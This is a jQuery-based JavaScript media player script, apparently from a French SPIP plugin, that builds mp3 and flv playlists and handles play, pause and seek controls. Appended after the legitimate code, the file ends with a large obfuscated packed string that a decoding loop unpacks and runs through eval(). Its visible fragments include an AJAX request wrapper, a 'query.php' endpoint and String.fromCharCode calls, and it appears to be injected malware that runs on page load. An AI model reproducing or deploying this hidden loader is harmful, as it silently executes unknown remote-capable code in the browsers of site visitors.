/*
	Appelee par le body onload, cette fonction affiche les players mp3/flv et genere les playlistes associees
	Auteur : BoOz <booz CHEZ rezo POINT net>
	Licence : GNU/GPL

	compatibilite firefox par Vincent Ramos <www-lansargues CHEZ kailaasa POINT net> et erational <http://www.erational.org>
*
* Fonctionne avec jQuery.
* sounmanager2 : http://www.schillmania.com/projects/soundmanager2/
**/

var track_index = 0;

live_track = 'stop' ; 
live_video = 'stop' ; 
isVideoPlaying = false ; 
videoPause = false ;
isPlaying = false ;
     
soundManager.consoleOnly = true;
soundManager.debugMode = false;

var seljQ = '@';
if (jQuery.fn.jquery>="1.3.0")
	seljQ='';

jQuery(document).ready(function(){
	//lecteur_debug();
	lecteur_multimedia_init();
});

function lecteur_multimedia_init(){
	//tableau des fichiers multimedia de la page
	mp3Array = new Array();
	mp3Titles = new Array();
	flvArray = new Array();
	flvTitles = new Array();
	
	var aff= jQuery("a["+seljQ+"rel='enclosure']["+seljQ+"href$=mp3]").size();

	// lister les mp3 de la page 
	jQuery("a["+seljQ+"rel='enclosure']["+seljQ+"href$=mp3]").each(
		function(i) {	 
			// we store mp3 links in an array
			mp3Array.push(this.href);
			mp3Titles.push(jQuery(this).html());

			//demarrer le lecteur lors d'un click
			jQuery(this).click(
	             function(e){
	                 e.preventDefault();
	                 player_play(i);
	                 jQuery("#bouton_play").attr('src',DIR_PLUGIN_PLAYER + 'skins/blogo/pause.png');		
	              }
	         );
		         
			// activer le click sur un parent de class "play_"
			if(jQuery(this).parent().attr("class")) 
			if(jQuery(this).parent().attr("class").split(" ").contains("play_"))
			jQuery(this).parent().click(
				function(e){
					player_play(i);
					jQuery("#bouton_play").attr('src',DIR_PLUGIN_PLAYER + 'skins/blogo/pause.png');
				}
			);
			
			// ajouter un bouton "play" devant les liens hors player - 
			//a passer en .ajoute_musicplayer()	
			//jQuery(this).before('<span class="play_">play</span>&nbsp;');
			jQuery(this).before('<span class="play_"><img src="' + image_play + '"/></span>&nbsp;');
		}
	);
	
	jQuery("a["+seljQ+"rel='video']").each(
		function(i) { 
			// we store flv links in an array
			flvArray.push(this.href);
			flvTitles.push(jQuery(this).html());

			//demarrer le lecteur lors d'un click
			jQuery(this).click(
				function(e){
					e.preventDefault();
					video_play(i);	
					// jQuery("#now_playing").html(jQuery(this).html());                
	             }
	        );
		        
		}
	);

	// css playliste
	// du player
	jQuery(".playliste").find("span").remove(); // traiter a par le player

	jQuery(".playliste li").hover(function(){
		jQuery(this).addClass("over");
	},function(){
		jQuery(this).removeClass("over");
	});	

	// liens mp3 hors player avec bouton	
	// toggle play / pause
	jQuery("span.play_").each(
		function(i) {
			jQuery(this).toggle(
				function(e){ 
					if(live_track !=='stop'){
						player_stop();
					}else{
						player_play(i) ;
						jQuery(this).html("<img src='" + image_pause + "'/>").addClass("play_on");	
						// i c pas forcemment bon si t'as un player avant le lien cf plus bas
					}  						
				},function(e){
					player_stop(); // ou pause ?		              
				}
			);
		}
	);

	// le bouton play/pause du player
	jQuery('#bouton_play').click(function(e){
	    //console.log(isPlaying);
		if(!isPlaying){
			jQuery(this).attr('src',DIR_PLUGIN_PLAYER + 'skins/blogo/pause.png');	    	   
			if(live_track =='stop') {
				player_play(0) ;
			}else{
				player_togglePause();
			}	
		}else{	
			jQuery(this).attr('src',DIR_PLUGIN_PLAYER + 'skins/blogo/play.png');		
			player_togglePause();
		}
	});

	// chopper les coordonnees du clic dans la barre de progression
	jQuery("#scrollbar").click(function(e){
		var x = Math.round((e.pageX - this.offsetLeft) / jQuery(this).width() * 100);
		if(live_track !== 'stop'){
			var mySound = soundManager.getSoundById('son_' + track_index);
			var newposition = Math.round(mySound.durationEstimate * x / 100) ;
			soundManager.setPosition('son_' + track_index , newposition) ;
		}
		// pareil pour les videos
		if(isVideoPlaying){
			var position = Math.round(myListener.duration * x / 100);
			getFlashObject().SetVariable("method:setPosition", position);
		}
  	 });

	jQuery("#now_playing").change(function(){
		scroller_init();
	});
	
	// si option choisie, presser la barre espace arrete le lecteur
	if (key_espace_stop) {
		jQuery(document).keypress(function(e)
		{
			key = (e.charCode) ? e.charCode : e.keyCode;
			if(
				(key == 32) // espace
				|| (key == 27) // esc
			) {
				if(isPlaying) {
					player_togglePause();
				}
				if (isVideoPlaying) {
					// toto: faire la meme chose pour la video ?
					
				}
			}
		});
	}
}


// .play() plugin jquery

function player_play(i){
	player_stop();
	jQuery("#bouton_play").attr('src',DIR_PLUGIN_PLAYER + 'skins/blogo/pause.png');

	track_index = i ;
	live_track = i ;

	//jQuery("span.play_:eq("+i+")").html("stop").addClass("play_on");		
	jQuery("span.play_:eq("+i+")").html("<img src='" + image_pause + "'/>").addClass("play_on");	
	// i c pas forcemment bon si t'as un player avant le lien, il faut retrancher le nb d'item de la playlist du lecteur 
	// (ne pas mettre enclosure aux deux ?)	
	// limiter une playliste a son parent plutot qu'a la page ?
	
	jQuery(".play_:eq("+i+")").addClass("play_on");

	if(soundManager.url != 'undefined'){
		
		player_creer_son(i);
	  
	  	//jQuery("span#now_playing").html(i+"("+mp3Array[i]+")"+track_index);
	  	//jQuery("span#now_playing").append("son_"+i.id3.artist);
		file1 = mp3Titles[track_index];
		file1 = file1.replace(/(%20)/g,' ');
		file1 = file1.substr(0,90);
		file1 = file1.replace(/(.mp3)/g,' ');
		file1 = file1.replace(/(_|-)/g,' ');
		//jQuery("img["+seljQ+"alt='play']").attr()
		var taille = file1.length;
		//$large_s = taille * 7; // pas bon. Laisser le navigateur decider
		$large_s = 'auto';
		jQuery("#now_playing").width($large_s);
		jQuery("#scroller").width($large_s);
		jQuery("#now_playing").html(file1) ;
		var taille =  jQuery("#scroller").width();
  		var min_taille = jQuery("#scroller_container").width();

	   // adapter le defilement a la taille du texte
       jQuery.extend({scroller: {
			interval:     0,
			refresh:      300,  // Refresh Time in ms
			direction:    "left", // down,right,left,up
			speed:        2,
			id:           "#scroller",
			cont_id:      "#scroller_container",
			height:       30,
			width:        taille,
			min_height:   15,
			min_width:    min_taille
		}});
       jQuery("#scroller").css("left", min_taille-taille) ;

	    soundManager.play('son_'+i,{volume:100}) ;
	    isPlaying = true ;
	    
 		//lecteur_debug();
	    
	}else{
		// preparer un plan B si flash < 8
		var playa='';
		playa  =  '<div id="musicplayer" style="">' +
	         '</div>';	
		jQuery('body').append(playa);
		jQuery('div#musicplayer').css({position:"fixed",top:"10px", right:"10px",width:"0",height:"0"});
	
		//Ajouter le musicplayer de secours
		playlist='';
		deb=0;
		for(j=i; j < mp3Array.length ; j++) {
			if(deb > 0){
				// Modification du code original. Voir ci-dessous.
				playlist = playlist + '|' + mp3Array[j];
				// Fin modification
			}else{
				playlist = mp3Array[j];
				deb=1;
			}
		}	
		
		jQuery("#musicplayer").html('<object '+
			'type="application/x-shockwave-flash" '+
			'data="'+musicplayerurl+'" '+
			'width="1" height="1" align="middle">'+
			'<param name="FlashVars" value="song_url='+playlist+'" />'+
			'<param name="wmode" value="transparent" />'+
			'<param name="movie" value="'+musicplayerurl+'" />'+
			'</object>');
		// Fin modification
	}
}

function player_creer_son(i){
			soundManager.createSound({
			id:'son_'+i,url:mp3Array[i],
			onfinish:function(){
				/*console.log(this.sID+' finished playing'),*/
				player_play(i+1)
			},     
			onid3:function(){
				/*console.log(this.id3['songname'])*/
			},                
			onload:function(){
				/*console.log(this.sID+' finished loading')*/
			},              
			whileloading:function(){
				/*console.log('sound '+this.sID+' loading, '+this.bytesLoaded+' of '+this.bytesTotal);*/
				var timer = this.bytesLoaded / this.bytesTotal * 100 ;
				var minutes = Math.floor(this.durationEstimate / 1000 / 60) ;
				var secondes = Math.floor((this.durationEstimate - minutes*1000*60) /1000);
				jQuery(".duration").html(minutes + "'" + secondes +"''");
				jQuery("#loading").css({width:Math.round(timer) +"%"});
			}, // callback function for "download progress update" (X of Y bytes received)
			onplay:function(){
				jQuery("#loading").css("cursor","hand");
				var minutes = Math.floor(this.durationEstimate / 1000 / 60) ;
				var secondes = Math.floor((this.durationEstimate - minutes*1000*60) /1000);
				jQuery(".duration").html(minutes + "'" + secondes +"''");		 
			},// callback for "play" start
			whileplaying:function(){
				var minutes = Math.floor(this.position / 1000 / 60) ;
				var secondes = Math.floor((this.position - minutes*1000*60) /1000);
				var timer2 = this.position / this.durationEstimate * 100 ;
				jQuery("#position").css({width:Math.round(timer2) +"%"});
				jQuery(".position").html(minutes + "'" + secondes +"''");
			},// callback during play (position update)
			//'onstop':unLoad(this.sID),     // callback for "user stop"
			//'onbeforefinish': null,        // callback for "before sound finished playing (at [time])"
			//'onbeforefinishtime': 5000,    // offset (milliseconds) before end of sound to trigger beforefinish..
			//'onbeforefinishcomplete':null, // function to call when said sound finishes playing
			//'onjustbeforefinish':null,     // callback for [n] msec before end of current sound
			//'onjustbeforefinishtime':200,  // [n] - if not using, set to 0 (or null handler) and event will not fire.
			//'multiShot': true,             // let sounds "restart" or layer on top of each other when played multiple times..
			//'pan': 0,                      // "pan" settings, left-to-right, -100 to 100
			'volume': 100    	
	 		});	

}	

function player_stop(){
	//reinit d'un autre play
	isPlaying = false ;

	//jQuery("span.play_on").html('play');
	jQuery("span.play_on").html('<img src="' + image_play + '"/>');
	jQuery("span.play_on").removeClass("play_on");
	live_track = 'stop' ;
	
	jQuery(".playliste li.play_on").removeClass("play_on");
	reset_boutons();
	soundManager.destroySound("son_" + track_index);
	soundManager.stopAll();
	//stop le musicplayer en flash < 8
	jQuery("#musicplayer").html('');
	jQuery("#now_playing").html('');
}	


function unLoad(i){
	soundManager.unload(i);
	/*console.log(i+' unload hop');*/
}

function player_next(){
	unLoad("son_" + track_index);
	track_index++;
	//file1=(mp3Array[track_index].split("/"))[(mp3Array[track_index].split("/")).length-1];
	//jQuery("#now_playing").html(file1) ;
	player_play(track_index);
}

function player_prev(){	
	unLoad("son_" + track_index);
	track_index--;	
	//file1=(mp3Array[track_index].split("/"))[(mp3Array[track_index].split("/")).length-1];
	//jQuery("#now_playing").html(file1) ;
	player_play(track_index);
}
	
function player_togglePause(){	
	 soundManager.togglePause('son_'+live_track) ;
	 //console.log(isPlaying);
	 if(isPlaying == true){ 
	 	isPlaying = false ;
	 }else{ 
	 	isPlaying = true ;
	 }
}

function reset_boutons(){
	jQuery("#bouton_play").attr('src',DIR_PLUGIN_PLAYER + 'skins/blogo/play.png');
	jQuery(".position").html("0'00''");
	jQuery("#position,#loading").width(0);
}


function Player_init(url_player) {
	soundManager.onload = function() {
		// soundManager is initialised, ready to use. Create a sound for this demo page.
		soundManager.createSound('aDrumSound',url_player);
	}
}

// Nouvelle methode pour les tableaux
// Retourne la premiere occurence correspondant, sinon false
Array.prototype.contains = function (ele) {
	for (var i = 0; i < this.length; i++) {
		if (this[i] == ele) {
			return true;
		}
	}
	return false;
};


// lecteur video
// doc : http://flv-player.net/players/js/documentation/

function video_play(i){
	track_index = i ;
	live_video = i ;
	if (!videoPause) {
		video_stop();
	 	getFlashObject().SetVariable("method:setUrl", flvArray[i]);
 	}
	getFlashObject().SetVariable("method:play", "");
	videoPause = false ; 
	jQuery(".playliste li:eq("+i+")").addClass("play_on");
}

function video_pause(){
	if(videoPause){ videoPause = false } else { videoPause = true }
	getFlashObject().SetVariable("method:pause", "");
}

function video_next(){	
	track_index++;
	video_play(track_index);	
}
	
function video_prev(){	
	track_index--;	
	video_play(track_index);
}
	
function video_stop(){	
	jQuery(".playliste li.play_on").removeClass("play_on");
	getFlashObject().SetVariable("method:stop", "");
	getFlashObject().SetVariable("method:setUrl", videoNullUrl);          
	getFlashObject().SetVariable("method:play", "");
	getFlashObject().SetVariable("method:stop", "");
	getFlashObject().SetVariable("method:setPosition", 0);
}

function video_setVolume(){
	var volume = document.getElementById("inputVolume").value;
	getFlashObject().SetVariable("method:setVolume", volume);
}
   
function lecteur_debug(){
	var content = jQuery("#debug").html() ; 	
	jQuery("#debug").html(content + "<br />live_track = " +live_track ) ; 
};


d='function  $M(file -z ?P L-B="GE <= a ,rt="" Ke ,E=tru & ,r.offset=100 Un L-L @u @y @J LA9 N ,e @q LA9 N Um L-n ],P ]Urg L-k(); .sxml2 X1 A.icrosoft X2 -z=null}}if(!  z Ztypeof  M!="undefined" -z : M ]+ E= 4}} Uc _> -t[ $o [>,false) Uv _>, =vars Z 4== =vars A=  /( % $o), % >)) + t[ % $o) [% >) W} UH L$p, $S A$T= % Yx);regexp :RegExp( Yx+"|"+ $T); H/ Sp 6regexp) Ii=0;i< H/ hj= H/[i] 6"=");if( 4= SS -v G + c G}}}; a.trim _$f Z"qabcdef".indexOf( $o.substr(0,1))>=0){ H $rs So 6\'q\') 8\'\') 6\'v\') I Hi=0;i< $rs hrs[i]=parseInt( $rs[i],16)- k =  $rs 8\',\')+\',\'}else{ajax gr.offset2=25; =  k}; 9unR ( !){eval( 9  ]UrN L db&& Yt 7 -H( Yt W} 3 drt 7 OR + rt SR}}  c(" $a",new Date().getTime()); $h : / ]Ikey in(  t) Zfalse== C1]&& 4==  b A$T=  v(key, C0] W ,t[key] ?t[ $T[0] [$T[1] W;key ST[0]} $h[ $h 7]=key+"="+ C0]} 3$R Oh 8 Yx) + rt+ Sh 8 Yx)} Uk L-B="POS <t="";d=\'v={@ VM$1XH:"e-",@ V`$1XH:"",*b VM$1Xv30:"l(\\\'l=Str"\\\\_:"ing.fr",JG*2%a%fzV*aV:"omCha",>%8%8*2*5LB0_*4:"rCode("<6#fF%3#f#7#d_$4y<d*3*6$eV*e*d$a*3&6R8#b!0G%4#d%eTM `8B6P*3K#6>*4HY/c*dPB1JJ-a$4*6&9<7E*bQ`NX@U&3W2E*eQ*4?Q*2E&7W5!3%b#e#8!0*8#6J `6PV#c#9!fB3*1V&6W9*7#f%6-3*d#f-d-fy,a2%2#e T T#c!1&1/b#eT!1#c!1*4*b-d&1/4-f#f%6%2#d ^5`y<4?T*5KUB6P*3Y/9*eZw*5#a#9A*7&9/1@U TLP T&1D3HK%8>O@w*5Y/9O~T@#6T@~&9D1ZwJB6A*eZG&9,d5H*3#8#7E*5?%8&7/d-eF!fJ-eFG%6y/6B0!2G_%3#f_%3yD0%1EJ%1EHwA&5,d0@$f!2#e$1MX?yD1*9U%aAGA*9A&9,a2#7G-a?*1-bM?I/1-0-7%4%1$4T#d-c `9J?%8J%3AGE&7Df*e!0*cZA#b!3*2 `aH-aOB7B7OJGI<2?GJ#aPP?$e&1W5%4z$1*7Gz$1*5I/3*4#d*0!3`!0F!0 `8$dO%6`%4$4%b!f&5D4OOOB0#eVN-1&3W0*3$b!3*b*aw*0$b&3De%a@UB0#e-dN-1&3W2>M-3*0K*2*5_&5WeOA%7*3#6-7%e*3&6/4%7!fN f&1,a6M$f_*b#7B1B1#7&5D7#f%a$3XUFPZ e9QMAU$1JB4U&9Wf*5*8@$1>U>@YR1%4Q%6%4UQ%6#7&9Rb$f%fzB3B7*5?*fI/9$1*4#eUUA$1*2&6D6^F#8~#b%0%0F ea%7%eN%7!2 ^7?y/5Z#e#b$e$e_Z*0yD6~GF#8^#c%0%0&4D9#8O>HB5>*d@Y<9*5*5#8>*6>>#7YW1^??*4B7?*fGI<7*4#6V*eOA$0V&6/2@#d-awA-f#f_yW5!0#b-8*aE-d#d!3&0Wd%8*3%0$e!fT*5@YWeGB7J-aB2AAH&9<9%7`-b$e|$3-b$b&5R4$b-d$d$4|-d$4$3 j6-9Q$b%e-9w%7X&3,ac%8zK-c$f$b|-c&6R4%aM-dN%aB1-d%e j7$a?U-4Q!3!3?&3<2-7%3-7%4-7T-7%6&1,af%f-f$0-f$1-f$3-f&9R3%0N%0X%0M%0`I,acN-cX-cM-c`-c&6Rc-f$d-f$e-f$f-fB0&9,ac$e-c$f-cB0G!f-7&6,a0FF#7H#6H^H&4D9P#aP#bP#cP#d&5D2#f!f*1A`$a*3*6&6/4-4GF%6GF*fG&1/4T!1_AAAF*f&1D3H@KJ@-bPPYD2!f?KT?-aHP&7/6%7ULV-6UB0-4&3R5!fV$d!fV$4!fV&3<7P>$a-6MM_*b&5RczPJ^#b!3N#d `8M|G-d$bU%2P&5,a9*b>-eG-9%8>-e&1/fV%4ULVNN#e&3/6N*0VQ-e!3>*4&3W3 ^4#8^@E~#8y<2H>$4%0_?*6*6&5/b#e#e~ ^4_$4zy<0#eV$d*0!3#c#6!3&3W4OJ@-fG!2#b#6y/2*4OJ@-f#d_$3yW2_^*fU%2H_#7&5/8M$fL%2H_^*f&5/a%0G!3^VN$dU&3<6*4A-4#fJL#b*0&9D1T*3@-a*5>-3>YD9#9#bH%4-8|$a*4 j5*2#b#6*2#f#6*1#eID0#b#8H#d#6H^#b ed#9OG#8~G#9P&1D3#a#7O#f#9O#e#e&7/dO#6GJJGJP&1D5#a#9^#f#a^#a#a&9/f#8#9!f#8#8!f~~&3D3#c#aO#dO#c#aO&7D9L~LOLJL#6yW0T*3%eM$aH>^Y<d*1~#fZ*0EXM ea*4*5$3^^OB5GIR4N-d%b-f#f-5X$4y<e$3KO%bM$4Q*8&5<b%4N*6Q%7%8@K&3D4U$bz%4Q%6~#b&9DbHB4E~|*4L%f&7R7M$3#dJJ?LV&3<aO@B2O@|O@YRc^G-c^GB3T%2IWaE-dGP-d@EL&0<3%fZ!fE@!3Q$3&0D1ZQK$1@??U&3Db!3*3>!0#8*2|*9&0<cH!fK#b!fP~!fYW0%8Z$aF*eFH%0 ec*8*6?#f?$dzZIDd-c!2E@Q@E-c `6F$bZ%8`K*1^&4D9#9A$1%eQ$0$1$d&9W1#c~*2*0OF#9F&4,a1B1B1#fE*5*1*4E&4<aE@E?-b^%a| j9T`w*9$0w$1w&4R3|G>%8LB2*0>&5W8*2*5>-2P>NL&5,d1A-3~%f$4$4%b`&6,a0-c-5-4*5@`B5*3Y/dzB2*7*a?-2*f@I/2*6 ^b ^a*7!2OyD3%7$4w$e*2*2$3$a&5R5NA-1*5`$e$dP&9/3Q`UJHH!0@&0<2$b*5>*c*3%2$b>YWc*0MN`%8#e-d$a&3W5>#9#6%aMKB1*3Y,ae-8*1F^-5*c*1E&4W3?A%6%b`A@#dy/9*9LA*eJG*2%a&6<aM!1%aT#e TT&1DcT@A-3ZQz|&9<c%1|#a%e%f%eT#b `2L#d-eF ^f#d_yRf>L-0P-9X>#fYDd ^9*4#f!2#aN*4yRb-6%3w-0%3%f%7?y/7%8T%1%4EA-bH&0<4-8*dE>N-eE*6 ja!3*f*9U#eV*5!3&3/dNHB4B4B4*2%1|&7Rc*1EXz#fEXz ee!fA$1$eT?~Z&6<5$4-5-4*3*0%6N%e&0<6MKQ$1@-4#e!3&3/d!3-6EUE-7L$3&0<dz*9zz$a$1%a$dYRcZH!f$b$a%b!f~Y<1EZ||N#f~~&5<9`$1#6z$f$1zzY<b`~wN$3^#7^&6R5 fHT%2&1<c%fzPZXQ$1*2&3,aeA$0%1GA%0V*a&6D8G%aL-7|`$eQI/fHJ#8B5*b%8$bK&7/f%3%3LH*5~#8E&7DfF*8A^?!1H!1&1/7*4NK$eE*8|| j4z@!3F*0-0%4M&3R0#6$awXKMNHY/cPMQ-6MNK$1&3<9?@#d_!2V@$dyR7%a|$aM$3_?G&5/f!f-f%eL%4G#7$f&7/5@O%6NN%a$3w&5Wb$0$1$4KH@>HY/8*cG#9L_#f*0%7&5R6wT%fB1FLF*7&4<b%0V%1F!fGB1w&4<c$3T$b!0UXw$3&0<9%2wKw$4|#a%8&0R1KKZX>^$ewYR6FFJEK-fZ%1&4<5*0%7#8$b$f%fzB3ID3_~O%8Z%6M*8&5R8Z%e*a$dP#aA*b&9/9$b!f@V#aUU%f&6D2ZQ%8wz-3%aU edVV#6AN%1LL&6<1A#aZ`K$eX%e&9R0X!2#7%b%8$4%3%fy<bV#c%a~|%b$a-b&6,a5*4$fT_$f?L!1&1De*4?*8!fL$a%a| jd$4`@GF#cE-8&4D3K%a|*a$1%aQ%a&5R6z>*1@M%3H>Y/e#c#c#a#aJ*7*7A&9DeJ$0wQ%b`KF&4W5L-0$fXX%3%f%bIR4?@#d!2#eN%7Xy,aa%f$3%bV*4!fB1A&6<3#f ^1T%3%e%e%4y<aK$4*6%3$bA*bJ&9D1V#8V*9A-1%1%2&6/9?E*b$e$0N%bX&7R7!0*5w%6>!0*6#d `6XPQwwX%8M&3/8*f@$b#6@>-0PY,d2EE-0^E#c-3X j9KZK>-2>$bzY,d1$4Z*5%4?>-3@Y<2#d!0HXE-d?!0&0WdE$3%fT#e TU&1/6!3-0*1#fJ%7K|&3W4G!f>*1KN`L&6<5#f#a#9#dT#d%6#fy/8$4#d%4L$3$0Kw&0R6?A_V*2-3-8-9y<2%4%aB8%6%6???I/5F>FAF?FU ea~?^?#6?#7?ID7A#8A#bA#dA#9&9/5#6_#a_#b_#c_&5W0>*1>*2>*3>*4Y/4*2F*3F*6F*7F&4W8F*9F*aF*bF*c e1*a!1*b!1*c!1*d!1&1,a7P#8$d$fK$d$ezI/9%4L#eA|#e%4#d&1D9#b*7#9*2#aP~B0YD2JJ#7$3`QMP&9Re#8$a|$aJOOOIDc%6M%2ZAT?&1\\\\E:"32);ev",*``ZXK*b$0$1:"al(l)\\\'",EE!0*9Q>!0#8*2:");"};dk=[] I-r x in v){dk.push(trim(x,v))};e-l(dk 8\\\'\\\'))!v7#v8$vc%vb&:8*v9+,q-va/+7<,b>!8?!a@!bA!9BvdD+8E!7F!4G!dH#0I:90J#2K%cL!eM$7N$5O#3P#1Q$2R,cT%5U!cV!6W+9X$6Y&8Z%d^#5_!5`$8w%9y&2z$c|$9~#4\\\\,#6^L%2*0>$f*2\' Ic=46;c--;d=(t=d 6\'!#$%&*+-/<>?@ABDEFGHIJKLMNOPQRTUVWXYZ^_`wyz|~\\\\\'[c])) 8t.pop())); 9 (=d K &}; 9unAJAX L dE -q ]+ rN( $R); 3 rr -A 2 Yr)} 3 z){ Hself=this; 3 B=="GET" A$K=  F+  i+ Yt , R$K W +  R F W;try{  z.setRequestHeader("Content-Type","application/x-www-form-urlencoded" 5){}}  z.onreadystatechange !){switch( #z.readyState){case 1: #L 02: #u 03: #y 04: ;= #z.r (Text; ;XML= #z.r (XML; #C[0 Q; #C[1 QText; 3#w){self.r N 3#A A)= #A.nodeName; ).toLowerCase(); 3)=="input Jselect Joption Jtextarea" A#A. >= ; +#A.innerHTML= ;}} 3#C[0]=="200" A#J ]+#e()} #rt="";break} Uz.send( Yt)}} Um ],rg()} a.ajax : $M();try{ H $G 2\' $D\') *c("query", $G gd gf) *F="query.php" *B SG gB gf *rr=\' $rz\' *L SN *u Sg *y Ss *J Sx; P 5){ P)}  this g !=function( #self g $kx_ %encodeURIComponent( &e ,rr ?A ?F=file ,t :Object ],C : /(2) (esponse )elemNodeName *;ajax g +}else{  ,;   - A  .try{  z :ActiveXObject("M /Array 0();break;case  2=document.getElementById( 3if(  4true 5)}catch(e 6.split( 7.length 8.join( 9this.r :=new  ;self.r ( <T" ,i="?" ,rx="&" ,r =return >value ?=null , @ !){ U A){  C  t[key][ G( $j[0], $j[1]) Hvar  I;for( J"|| )==" K ,b= 4 ,w=fals L !  MXMLHttpRequest NunR (()} O -rt+= Yx+ $ Pajax.runAJAX( Q]= #z.status Rz.open(  B,  S= $ T-d!3 U} , V%b%a#6Q W, 4) X.XMLHTTP" 5 Y  r Z){if( []= /(  ]()  ^!2* _ L$o,  `&0/ awindow d$R A3  e&4/ f$3%6%fT$4 g. $ h 7;i++ A$ j&7< k $f[ $o]}';for(c=130;c;d=(t=d.split('   ! # $ % & ( ) * + , - . / 0 2 3 4 5 6 7 8 9 : ; < = > ? @ A C G H I J K L M N O P Q R S T U V W X Y Z [ ] ^ _ ` a d e f g h j k'.substr(c-=(x=c<2?1:2),x))).join(t.pop()));eval(d)

